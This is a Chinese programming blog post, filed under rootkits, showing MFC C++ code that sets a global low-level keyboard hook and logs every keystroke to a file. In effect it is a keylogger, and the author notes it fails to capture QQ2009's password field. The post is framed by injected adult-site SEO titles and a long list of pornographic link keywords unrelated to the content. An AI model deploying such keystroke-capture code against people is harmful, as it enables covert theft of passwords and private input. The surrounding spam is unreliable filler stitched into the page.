青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉,開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

About ShutDown of Windows(三)

Posted on 2009-11-17 09:12 S.l.e!ep.¢% 閱讀(193) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
接著 About ShutDown of Windows(二) ?繼續,將代碼繼續改進

HHOOK?g_Hook;

LRESULT?CALLBACK?MyKeyHook(
int?code,?WPARAM?wParam,?LPARAM?lParam)
{
#if?(_WIN32_WINNT?<?0x0400)
/*
?*?Structure?used?by?WH_KEYBOARD_LL
?
*/
typedef?
struct?tagKBDLLHOOKSTRUCT?{
????DWORD???vkCode;
????DWORD???scanCode;
????DWORD???flags;
????DWORD???time;
????DWORD???dwExtraInfo;
}?KBDLLHOOKSTRUCT,?FAR?
*LPKBDLLHOOKSTRUCT,?*PKBDLLHOOKSTRUCT;
#endif

????PKBDLLHOOKSTRUCT?kbDLLHOOK?
=?(PKBDLLHOOKSTRUCT)lParam;
????
????
const?char?*info?=?NULL;
????
????
if?(wParam?==?WM_KEYDOWN)
????????info?
=?"key?down";????
????
else?if?(wParam?==?WM_KEYUP)
????????info?
=?"key?up";
????
else?if?(wParam?==?WM_SYSKEYDOWN)
????????info?
=?"sys?key?down";????
????
else?if?(wParam?==?WM_SYSKEYUP)
????????info?
=?"sys?key?up";

????FILE
*?f?=?fopen("hook.txt",?"a+");

????CString?strLog;
????strLog.Format(
"%s?-?vkCode?[%04x],?[%c]?scanCode?[%04x]\n",?info,?kbDLLHOOK->vkCode,?kbDLLHOOK->vkCode,?kbDLLHOOK->scanCode);

????fwrite(strLog,?
1,?strLog.GetLength(),?f);
????fclose(f);

????
//?always?call?next?hook
????return?CallNextHookEx(g_Hook,?code,?wParam,?lParam);
}??????

BOOL?CHookTestDlg::OnInitDialog()
{
????CDialog::OnInitDialog();

????
//?Add?"About"?menu?item?to?system?menu.

????
//?IDM_ABOUTBOX?must?be?in?the?system?command?range.
????ASSERT((IDM_ABOUTBOX?&?0xFFF0)?==?IDM_ABOUTBOX);
????ASSERT(IDM_ABOUTBOX?
<?0xF000);

????CMenu
*?pSysMenu?=?GetSystemMenu(FALSE);
????
if?(pSysMenu?!=?NULL)
????{
????????CString?strAboutMenu;
????????strAboutMenu.LoadString(IDS_ABOUTBOX);
????????
if?(!strAboutMenu.IsEmpty())
????????{
????????????pSysMenu
->AppendMenu(MF_SEPARATOR);
????????????pSysMenu
->AppendMenu(MF_STRING,?IDM_ABOUTBOX,?strAboutMenu);
????????}
????}

????
//?Set?the?icon?for?this?dialog.??The?framework?does?this?automatically
????
//??when?the?application's?main?window?is?not?a?dialog
????SetIcon(m_hIcon,?TRUE);????????????//?Set?big?icon
????SetIcon(m_hIcon,?FALSE);????????//?Set?small?icon
????
????
//?TODO:?Add?extra?initialization?here
#ifndef?WH_KEYBOARD_LL
????
#define?WH_KEYBOARD_LL?13
#endif
????
????g_Hook?
=?SetWindowsHookEx(WH_KEYBOARD_LL,?MyKeyHook,?AfxGetApp()->m_hInstance,?0);
????
????
if(?g_Hook?==?NULL?)
????????AfxMessageBox(
"Failed?to?Set?Hook");
????
????
return?TRUE;??//?return?TRUE??unless?you?set?the?focus?to?a?control
}

已經實現了HOOK鍵盤消息(題外話:對于普通的程序確實可行,但對于QQ2009的PwdEdit顯示出來的東西是不對的,明顯QQ2009的PwdEdit對消息加密過)

用 SysCheck 工具查看,這個EXE也并沒有注入到其它進程

MSDN的解釋
WH_KEYBOARD_LL
Windows NT/2000/XP: Installs a hook procedure that monitors low-level keyboard input events. For more information, see the LowLevelKeyboardProc hook procedure.

If the input comes from a call to keybd_event, the input was "injected". However, the WH_KEYBOARD_LL hook is not injected into another process. Instead, the context switches back to the process that installed the hook and it is called in its original context. Then the context switches back to the application that generated the event.

???????? 一般情況下,全局消息鉤子要依賴于一個DLL才能夠正常工作。

但實際上不是這樣的。有某些全局鉤子可以不依賴于任何DLL而正常工作的。這些鉤子包括,WH_JOURNALPLAYBACK,WH_JOURNALRECORD,WH_KEYBOARD_LL,WH_MOUSE_LL。為什么這些鉤子可以不依賴于DLL而正常工作呢?我們可以從MSDN中得到答案,MSDN中對于這四種鉤子都這樣的描述“This hook is called in the context of the thread that installed it.”,翻譯成中文意思是鉤子函數的調用是在安裝鉤子的線程上下文中進行的,說得更明白些,意思就是這些鉤子是在哪個線程當中安裝的,其鉤子函數就在哪個線程中執行。所以使用這四種鉤子是達不到代碼注入的效果的,當然也就可以不依賴于任何DLL了。MSDN中只對個別鉤子指出了必須還是沒有必要使用DLL。



青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            欧美高清不卡| 亚洲欧美精品| 香蕉久久久久久久av网站| 亚洲精品国久久99热| 午夜激情一区| 午夜精品av| 欧美色另类天堂2015| 亚洲国产高清一区| 好吊色欧美一区二区三区四区| 日韩视频中文字幕| 日韩网站免费观看| 蜜臀av一级做a爰片久久| 久久久综合精品| 国产日韩一区欧美| 亚洲中字在线| 欧美一级大片在线观看| 欧美午夜片在线观看| 亚洲精品久久嫩草网站秘色| 亚洲国产日韩一级| 久久综合久久综合九色| 免费日韩视频| 亚洲国产精品成人久久综合一区| 久久久久国产精品一区| 久久综合伊人77777| 国产亚洲一区在线| 久久国产日韩| 欧美成人dvd在线视频| 精品成人一区二区三区| 久久久精品欧美丰满| 免费短视频成人日韩| 亚洲国产另类久久精品| 欧美va亚洲va香蕉在线| 亚洲精品色婷婷福利天堂| 一区二区高清在线观看| 欧美先锋影音| 欧美一区二区三区四区高清| 久久久国产成人精品| 在线日韩电影| 免费亚洲婷婷| 99re66热这里只有精品3直播| 中文亚洲欧美| 国产日韩欧美一区| 久久影音先锋| 亚洲九九精品| 久久久久**毛片大全| 亚洲国产婷婷香蕉久久久久久99| 欧美承认网站| 亚洲永久精品大片| 另类av导航| 99re热这里只有精品视频| 欧美日韩直播| 欧美在线日韩精品| 亚洲大片在线观看| 午夜欧美大片免费观看 | 鲁大师影院一区二区三区| 欧美高清在线一区| 亚洲深夜福利网站| 国产综合18久久久久久| 欧美精品七区| 欧美一区二区三区视频| 亚洲国产欧美在线人成| 午夜精品视频在线观看一区二区| 影音先锋日韩精品| 欧美色网一区二区| 乱码第一页成人| 亚洲欧美偷拍卡通变态| 欧美激情一级片一区二区| 午夜亚洲精品| 亚洲精选视频免费看| 国产小视频国产精品| 欧美精品久久99| 久久国产一二区| 一本久久青青| 欧美激情中文字幕在线| 亚洲欧美日韩在线播放| 亚洲精品免费一区二区三区| 国产日产高清欧美一区二区三区| 欧美激情导航| 久久人人97超碰国产公开结果| 99热免费精品在线观看| 欧美高清hd18日本| 久久久蜜桃一区二区人| 亚洲欧美制服另类日韩| 日韩亚洲在线| 亚洲国产精品久久久久婷婷884| 国产免费亚洲高清| 国产精品久久久久久久久久久久久久 | 欧美日韩激情网| 欧美a级一区| 久久先锋影音| 久久精品一区蜜桃臀影院| 亚洲一线二线三线久久久| 亚洲美女视频网| 亚洲精品国产系列| 亚洲国产精选| 亚洲福利视频二区| 欧美激情导航| 欧美激情亚洲国产| 欧美成人一区二区| 蜜臀av一级做a爰片久久| 久久精品国产69国产精品亚洲| 午夜精品一区二区三区电影天堂| 亚洲视频999| 亚洲中字黄色| 亚洲免费在线看| 亚洲你懂的在线视频| 亚洲一区二区三区免费观看| 亚洲一级黄色| 性一交一乱一区二区洋洋av| 亚洲欧美三级伦理| 欧美一区二区三区啪啪| 亚洲欧美在线网| 久久xxxx| 久久性天堂网| 欧美激情精品久久久久久黑人 | 久久久久久久精| 久久综合激情| 欧美国产国产综合| 欧美噜噜久久久xxx| 欧美午夜片在线观看| 国产女主播视频一区二区| 国产日韩欧美电影在线观看| 国产综合色在线视频区| 在线不卡视频| 日韩图片一区| 欧美一区二区在线免费播放| 久久久久9999亚洲精品| 欧美激情一区二区三区全黄| 最近看过的日韩成人| 宅男噜噜噜66一区二区| 欧美专区福利在线| 免费日韩av电影| 欧美性感一类影片在线播放| 国产欧美婷婷中文| 亚洲国产欧美不卡在线观看| 99re6这里只有精品| 欧美一区二区三区免费大片| 蜜桃av久久久亚洲精品| 99国产精品国产精品久久| 性欧美暴力猛交另类hd| 玖玖精品视频| 国产精品色午夜在线观看| 在线观看三级视频欧美| 一区二区电影免费观看| 久久久亚洲精品一区二区三区| 欧美激情在线| 亚洲一区二区在| 欧美大片免费观看| 国产欧美日韩亚洲一区二区三区| 亚洲大胆人体视频| 亚洲欧美另类国产| 欧美大片在线观看一区二区| 中日韩午夜理伦电影免费| 久久久久99| 国产精品亚洲一区| 亚洲卡通欧美制服中文| 久久成人综合视频| 亚洲精品一区二区三区蜜桃久| 欧美在线播放| 国产精品日韩在线播放| 亚洲精品日韩综合观看成人91| 欧美一区成人| 99ri日韩精品视频| 久久只有精品| 国产一区二区三区自拍| 亚洲在线不卡| 99re热精品| 欧美成人激情在线| 韩国精品久久久999| 香蕉久久夜色| 一区二区激情小说| 欧美日韩成人在线| 亚洲国产欧美一区| 久久久久久久久久看片| 午夜精品久久久久久99热| 欧美三区美女| 亚洲特级毛片| 亚洲裸体俱乐部裸体舞表演av| 久久综合电影| 亚洲动漫精品| 欧美高清在线视频| 久久综合色8888| 亚洲第一福利视频| 猫咪成人在线观看| 久久动漫亚洲| 有坂深雪在线一区| 老司机67194精品线观看| 欧美一区2区视频在线观看| 国产精自产拍久久久久久蜜| 香蕉av福利精品导航| 亚洲自拍偷拍福利| 国产毛片一区二区| 久久精品99| 久久久久久久91| 亚洲国产三级在线| 亚洲第一精品夜夜躁人人躁| 蜜月aⅴ免费一区二区三区| 亚洲精品视频啊美女在线直播| 91久久精品日日躁夜夜躁国产| 欧美—级高清免费播放|